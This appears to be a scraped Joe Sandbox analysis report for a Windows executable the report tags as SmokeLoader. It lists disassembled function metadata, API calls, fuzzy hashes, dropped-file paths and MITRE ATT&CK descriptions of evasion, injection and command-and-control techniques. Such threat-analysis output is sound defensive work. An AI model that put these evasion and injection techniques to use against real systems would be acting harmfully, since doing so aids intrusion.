Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: __ctrlfp__set_exp$__copysign__decomp__except2__umatherr
String ID:
API String ID: 2834391352-0
Opcode ID: 092f6b4d6b20046c28fce046914ff99c7ebdd3a409ccf955a3c78dc936452d79
Instruction ID: 32bb5e4a2de3f5fc311397bd84b74097e96737e5ff5a7b0edae0b3d6eed127e7
Opcode Fuzzy Hash: 092f6b4d6b20046c28fce046914ff99c7ebdd3a409ccf955a3c78dc936452d79
Instruction Fuzzy Hash: CE41D37140850AE6DB047F25EC4AA7B7E6CEF85305F2049AEF9D5A40C1EE398674835E

Function 0040A194 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 0040A1A0

Part of subcall function 00407D9B: __getptd_noexit.LIBCMT ref: 00407D9E
Part of subcall function 00407D9B: __amsg_exit.LIBCMT ref: 00407DAB

__amsg_exit.LIBCMT ref: 0040A1C0
__lock.LIBCMT ref: 0040A1D0
InterlockedDecrement.KERNEL32(?), ref: 0040A1ED
InterlockedIncrement.KERNEL32(022D1878), ref: 0040A218

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 5e8f35dabc685dccc16ba7a3a69a84647a7b758179c7feffaa6ddfdd5855884b
Instruction ID: 6ce619eef8981f8b1ae415ca912ce3841918b27f7b0c59c687113e4e5a4dbb1b
Opcode Fuzzy Hash: 5e8f35dabc685dccc16ba7a3a69a84647a7b758179c7feffaa6ddfdd5855884b
Instruction Fuzzy Hash: 89015A31900B11ABDB20AF699849B5B72A0AF01754F04407AE8107B3E1CB386CA1DB9E

Function 00407275 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 00407293

Part of subcall function 004048FC: __mtinitlocknum.LIBCMT ref: 00404912
Part of subcall function 004048FC: __amsg_exit.LIBCMT ref: 0040491E
Part of subcall function 004048FC: EnterCriticalSection.KERNEL32(?,?,?,0040BBD5,00000004,00447678,0000000C,00409142,74DEDFA0,?,00000000,00000000,00000000,?,00407D4D,00000001), ref: 00404926

___sbh_find_block.LIBCMT ref: 0040729E
___sbh_free_block.LIBCMT ref: 004072AD
HeapFree.KERNEL32(00000000,74DEDFA0,00447480,0000000C,004048DD,00000000,00447440,0000000C,00404917,74DEDFA0,?,?,0040BBD5,00000004,00447678,0000000C), ref: 004072DD
GetLastError.KERNEL32(?,0040BBD5,00000004,00447678,0000000C,00409142,74DEDFA0,?,00000000,00000000,00000000,?,00407D4D,00000001,00000214), ref: 004072EE

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: ba8200ea433a492001e46b66f40bd743269361a4f72e1a255c6a746ad7319126
Instruction ID: 80b134d7ac9c9eaedb2e3b0dfe896a216977181ecac5a5684c636fd801acfee0
Opcode Fuzzy Hash: ba8200ea433a492001e46b66f40bd743269361a4f72e1a255c6a746ad7319126
Instruction Fuzzy Hash: A2018F71D04705AADB207BB2AC0675F3A60EF01729F2041BFF404761E1CA7CA9809F6E

Function 0040904F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040476C), ref: 00409054
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00409064

Strings

IsProcessorFeaturePresent, xrefs: 0040905E
KERNEL32, xrefs: 0040904F

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 69c6bfb2c1734e98e99d65c23525dc4cd92684a478a12a5edbe453cde73d28d8
Instruction ID: c47841d6f15702497504f94e74aea390dd9ff62f7b27ea2c71da9afd6bd97b3b
Opcode Fuzzy Hash: 69c6bfb2c1734e98e99d65c23525dc4cd92684a478a12a5edbe453cde73d28d8
Instruction Fuzzy Hash: E7F03030B00A09D2DB101FB1BE0EAAF7A78BB80742F9105A1A1D2B00E5DF3885B1D74A

Function 0040F928 Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040F95C
__isleadbyte_l.LIBCMT ref: 0040F990
MultiByteToWideChar.KERNEL32(00000080,00000009,00000000,?,00000000,00000000,?,?,?,?,00000000,00000000,00000020), ref: 0040F9C1
MultiByteToWideChar.KERNEL32(00000080,00000009,00000000,00000001,00000000,00000000,?,?,?,?,00000000,00000000,00000020), ref: 0040FA2F

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 1da80a83d1b9d2fba61b0aad7d73fd650536e3805d164c76baaab22e8e6ed2e8
Instruction ID: e67126559a7a37c5cdbc954f30bef8da80ee2d41740c3d934f602765f49ef9e5
Opcode Fuzzy Hash: 1da80a83d1b9d2fba61b0aad7d73fd650536e3805d164c76baaab22e8e6ed2e8
Instruction Fuzzy Hash: 4031A071A00246FFCB30EF64C880BAA3BA5AF01310B14457AE465AB6E1D334AD49DB59

Function 00408F1A Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__cftof_l.LIBCMT ref: 00408F40

Part of subcall function 00408D65: __fltout2.LIBCMT ref: 00408D91

__cftog_l.LIBCMT ref: 00408F66
__cftoe_l.LIBCMT ref: 00408F98

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 6b11bb3ef8c0e136fb443cce1273c4a9b5b63ea59267b3f3c51b92bb063b1e71
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 1F11473200414EFFCF126E95CD05CEE3F63BB18354B59852AFE9865171CA3AC971AB85

Function 0040A900 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 0040A90C

Part of subcall function 00407D9B: __getptd_noexit.LIBCMT ref: 00407D9E
Part of subcall function 00407D9B: __amsg_exit.LIBCMT ref: 00407DAB

__getptd.LIBCMT ref: 0040A923
__amsg_exit.LIBCMT ref: 0040A931
__lock.LIBCMT ref: 0040A941

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 5cc3921896b7e27237e135982f2a553aadab4f3fbc7873ebab0ba24769980dcb
Instruction ID: 77742b6cf000bf7e77ce78b262781fbc5e13f2c61f8d43118bf97c645c3be2ba
Opcode Fuzzy Hash: 5cc3921896b7e27237e135982f2a553aadab4f3fbc7873ebab0ba24769980dcb
Instruction Fuzzy Hash: A3F062B2A00B009ADB20FB65940675B33A0AF00754F12493FE4457B2E2CB7C5D429B5F

Function 00406000 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 00406011

Part of subcall function 004048FC: __mtinitlocknum.LIBCMT ref: 00404912
Part of subcall function 004048FC: __amsg_exit.LIBCMT ref: 0040491E
Part of subcall function 004048FC: EnterCriticalSection.KERNEL32(?,?,?,0040BBD5,00000004,00447678,0000000C,00409142,74DEDFA0,?,00000000,00000000,00000000,?,00407D4D,00000001), ref: 00404926

EnterCriticalSection.KERNEL32(<&@,?,004035DB,00000001,00000000,004473B8,0000000C,00402BB7,%s %f %c,0040263C,00000000,00000030), ref: 0040602A

Strings

<&@, xrefs: 00406023, 00406016, 00406029

Memory Dump Source

Source File: 00000007.00000002.4246363450.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4246335243.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246363450.000000000041C000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246432725.0000000000449000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246459888.000000000044A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246485852.000000000044F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4246511546.000000000045B000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dvjdfvr.jbxd

Similarity

API ID: CriticalEnterSection$__amsg_exit__lock__mtinitlocknum
String ID: <&@
API String ID: 3996875869-1731331922
Opcode ID: 9d2972bc2bcdf00aea8c1df9b3eb594222670049efc057b9fb84da683caa3196
Instruction ID: 7cfba0be80da9843e6674db2f376cd36685acf46a10c7e031dd1e3028032ab07
Opcode Fuzzy Hash: 9d2972bc2bcdf00aea8c1df9b3eb594222670049efc057b9fb84da683caa3196
Instruction Fuzzy Hash: D7D05B725002486BDB00DB9DD84AA4D37DCEB84338755C416F44DD7552CB39F5544E1C

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kGSZ4dCqYh.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\dvjdfvr

C:\Users\user\AppData\Roaming\dvjdfvr:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
kGSZ4dCqYh.exe

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Function 0040158E Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Function 00403054 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Function 006019D7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 0062003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 00620E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 00401919 Relevance: 1.3, APIs: 1, Instructions: 79
sleepCOMMON

Function 00401959 Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Function 00401970 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Function 00401977 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Function 0040198A Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Function 00601696 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON